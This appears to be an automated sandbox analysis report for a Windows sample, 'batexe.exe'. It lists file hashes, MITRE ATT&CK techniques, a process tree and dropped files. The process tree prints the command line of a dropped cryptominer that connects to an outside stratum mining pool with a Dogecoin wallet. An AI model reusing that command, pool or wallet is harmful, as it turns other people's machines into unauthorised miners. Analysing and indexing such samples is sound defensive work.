73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
297s
max time network
304s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
18/02/2024, 11:49

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General

Target
batexe.exe
Size 9.4MB
Sample240218-ny4exshe8t
SHA256 73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
MD5 cdc9eacffc6d2bf43153815043064427
SHA1 d05101f265f6ea87e18793ab0071f5c99edf363f
SHA512 fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP 196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3336304223-2978740688-3645194410-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3336304223-2978740688-3645194410-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
3228	b2e.exe
2072	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2072	cpuminer-sse2.exe
2072	cpuminer-sse2.exe
2072	cpuminer-sse2.exe
2072	cpuminer-sse2.exe
2072	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4152-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4152 wrote to memory of 3228	4152	batexe.exe	83
PID 4152 wrote to memory of 3228	4152	batexe.exe	83
PID 4152 wrote to memory of 3228	4152	batexe.exe	83
PID 3228 wrote to memory of 1112	3228	b2e.exe	84
PID 3228 wrote to memory of 1112	3228	b2e.exe	84
PID 3228 wrote to memory of 1112	3228	b2e.exe	84
PID 1112 wrote to memory of 2072	1112	cmd.exe	87
PID 1112 wrote to memory of 2072	1112	cmd.exe	87

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4152
- C:\Users\Admin\AppData\Local\Temp\AAA7.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\AAA7.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\AAA7.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3228
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\B66F.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1112
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2072

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

b2e.exe

Path C:\Users\Admin\AppData\Local\Temp\AAA7.tmp\b2e.exe
Size 24.9MB
SHA256 f4bd8c13a92847028a4302cbce65a3d39a91c881494720233ab609105ec1f97f
MD5 e8f1bdf9081a4c5b3028d3653060119f
SHA1 bfd39e6d80a29f609f84cafcf8d9e2777969a32c
SHA512 ce3fc1cbb3c0f2c3fe83a86ee0384ca6833de5578863fff8ce8dc71fb3870381cd474c39b257b2664585f28a8254edd663d704d3e9c4b84607902210310c07b5
SSDEEP 196608:wWrJQ9CuKdIncRBGvwPHD/bfOqjJjMr2XHjXnXHdfz/x1Bf:nSCRdIJv0j1Bf
MD5 SHA1 SHA512 SSDEEP

Submit Download

b2e.exe

Path C:\Users\Admin\AppData\Local\Temp\AAA7.tmp\b2e.exe
Size 64KB
SHA256 39cc053a2dc8074a4530b02f00bd8bb723e52196224d978d9aad3b0f75740320
MD5 3e63d8d147aec3c4d5e3e08d79395350
SHA1 633cc399218c2915b895a83bda89bce9f37e39dc
SHA512 545308057e5ea490e55f5bdd7fbec20fd954f847cae6f60460a4b135bf76c4c8502d922768d8e3a96d29d4c3a513b91ebc40bcaf5395de2c50d4368fd46fc536
SSDEEP 1536:dKa3ojO7ky3rOiR1B0SsHHG00WJkGpX4iO2Z2GJN0GK:hooT3lR1sHHGbWaGpX40D0GK
MD5 SHA1 SHA512 SSDEEP

Submit Download

b2e.exe

Path C:\Users\Admin\AppData\Local\Temp\AAA7.tmp\b2e.exe
Size 6.4MB
SHA256 a27282f45db7b3b156f6a4a2f2274eba361716f0c7053b1afe5c581bfe99b91e
MD5 fe6ad10ec46e9b08bc8a79e6b8b37e01
SHA1 a332652d3538f1bad9c19d68d469b1c7d1ee75e2
SHA512 614bd4d8220dbb1af18738adff40c6ad048a96a79a87120efa0fa6e924b695fb9f4b1aa1d1aef387e4b4646a78c281088062f9dab08fbf24aa2eec33dd12d103
SSDEEP 49152:HWVh7Fj/WrXYcatDRddBuqw/LLpGokJsThPz8rJG9nSti9/KKJSusjtZPPxtSVJm:2Vh7J/WrocAdkmBtKCLaDr/4Q8FD9F
MD5 SHA1 SHA512 SSDEEP

Submit Download

batchfile.bat

Path C:\Users\Admin\AppData\Local\Temp\B66F.tmp\batchfile.bat
Size 136B
SHA256 65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9
MD5 8ea7ac72a10251ecfb42ef4a88bd330a
SHA1 c30f6af73a42c0cc89bd20fe95f9159d6f0756c5
SHA512 a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0
MD5 SHA1 SHA512

Submit Download

cpuminer-sse2.exe

Path C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
Size 2.3MB
SHA256 c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd
MD5 4c04147c386ba8792ac6a03069572a8a
SHA1 dda67789fc1d0f2469ca95f01a5c81034853ca6a
SHA512 a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db
SSDEEP 49152:Wkpplb/LHkmgDlX3+57Uad1bBLTqgC+JZchTbO8rLG:xvN/LOOh6
MD5 SHA1 SHA512 SSDEEP

Submit Download

libcurl-4.dll

Path C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll
Size 836KB
SHA256 218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9
MD5 aeab40ed9a8e627ea7cefc1f5cf9bf7a
SHA1 5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8
SHA512 c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8
SSDEEP 24576:xufMF9VdLNrjhHdLI8cUlOb1w4yYhJWOrXQB:cfMFhBr19LI87lOb1w4IOrXQB
MD5 SHA1 SHA512 SSDEEP

Submit Download

libgcc_s_seh-1.dll

Path C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll
Size 1.2MB
SHA256 c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05
MD5 7cf672bee2afba2dcd0c031ff985958e
SHA1 6b82a205db080ffdcb4a4470fce85a14413f3217
SHA512 3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5
SSDEEP 12288:ynYk4yH15191n1q1x1c1vw6t8a1/hKhbhdhvh3hY6Dhch3hhCZ1c1eCJ1MC1+1MH:mnKt/wDm1nazZffMMcUvQlRg3J6f1SGK
MD5 SHA1 SHA512 SSDEEP

Submit Download

libstdc++-6.dll

Path C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll
Size 5.7MB
SHA256 5862dec937571372b81552aa73b178ca947252afd130d072dae3a7daca76c21c
MD5 0a3f07b50e7f20838f25d9b5a094194f
SHA1 0b451571bc01f21802d2274ff10d6fc39a087a7d
SHA512 5e9bd1165b96bb5910ccdb7aa02942ac8f73cd388ac510cd1f933c276fd482dbdb82fc22b1d2b779b0751f82f2e2581925fdb58ce4cff26114d119b4b16c6810
SSDEEP 98304:DGGvDsCt2HINpzk8sZg920ipTqP3eA9J8a6ina7+:DGGvJ3fnM+
MD5 SHA1 SHA512 SSDEEP

Submit Download

libstdc++-6.dll

Path C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll
Size 7.6MB
SHA256 006c32707a652b8d9d6996ce040df66cb61fc523d57fd64f156dfc1055cd6ce6
MD5 7267650f066d1f32cd1fe1542b48e760
SHA1 91a27b72297d24bb4c3ac972582d8b807b307fd6
SHA512 02babfdd6d80546b786383bc6bae40927753c494d679fe5f7e266d99605c5e8647cbaceea78f2a6f84e7fbe994cf9f2198636ae4fa6c789dc55bc1660be5a12e
SSDEEP 98304:DGGvDsCt2HINpzk8sZg920ipTqP3eA9J8a6ina7JdHZnyyK:DGGvJ3fnM3HZnJK
MD5 SHA1 SHA512 SSDEEP

Submit Download

libstdc++-6.dll

Path C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll
Size 8.4MB
SHA256 22c885f8f85aef57e5e22d85e8920f59ed3c7692e4185d1f8570b84b28e172e5
MD5 cca787f3068e924f4b563eda939a7a0c
SHA1 b511f49c060fe153f6512592a05ff20445361c57
SHA512 ff07a76de3b06687e485f1ebbaf6f9b2d1d3bd36ddf9e10f71dd90db27488dc050b48a9ec006ca2fba3753dd2b53d2a0e8b9d90ef473c3599cfb710d45ba7990
SSDEEP 98304:DGGvDsCt2HINpzk8sZg920ipTqP3eA9J8a6ina7JdHZnyyqC3cR:DGGvJ3fnM3HZnJK
MD5 SHA1 SHA512 SSDEEP

Submit Download

libwinpthread-1.dll

Path C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll
Size 606KB
SHA256 2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232
MD5 585efec1bc1d4d916a4402c9875dff75
SHA1 d209613666ccac9d0ddab29a3bc59aa00a0968fa
SHA512 b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770
SSDEEP 12288:IrAim3Y9lrzf34z//KRwwtkIr1PznEcyJwV2Zug8UYWTh4x:IrAim3Y9lrzf34z//KRwwtkIr1PzEcy8
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/2072-46-0x00000000758A0000-0x0000000075938000-memory.dmp

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memory/2072-74-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/2072-43-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/2072-44-0x0000000070800000-0x00000000708BC000-memory.dmp

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memory/2072-45-0x0000000061440000-0x000000006156B000-memory.dmp

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memory/2072-104-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/2072-47-0x0000000000F40000-0x00000000027F5000-memory.dmp

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memory/2072-99-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/2072-59-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/2072-69-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/2072-89-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/2072-84-0x0000000000400000-0x0000000000667000-memory.dmp

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memory/3228-7-0x0000000000400000-0x0000000000405000-memory.dmp

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memory/3228-53-0x0000000000400000-0x0000000000405000-memory.dmp

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memory/4152-9-0x0000000000400000-0x000000000393A000-memory.dmp

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads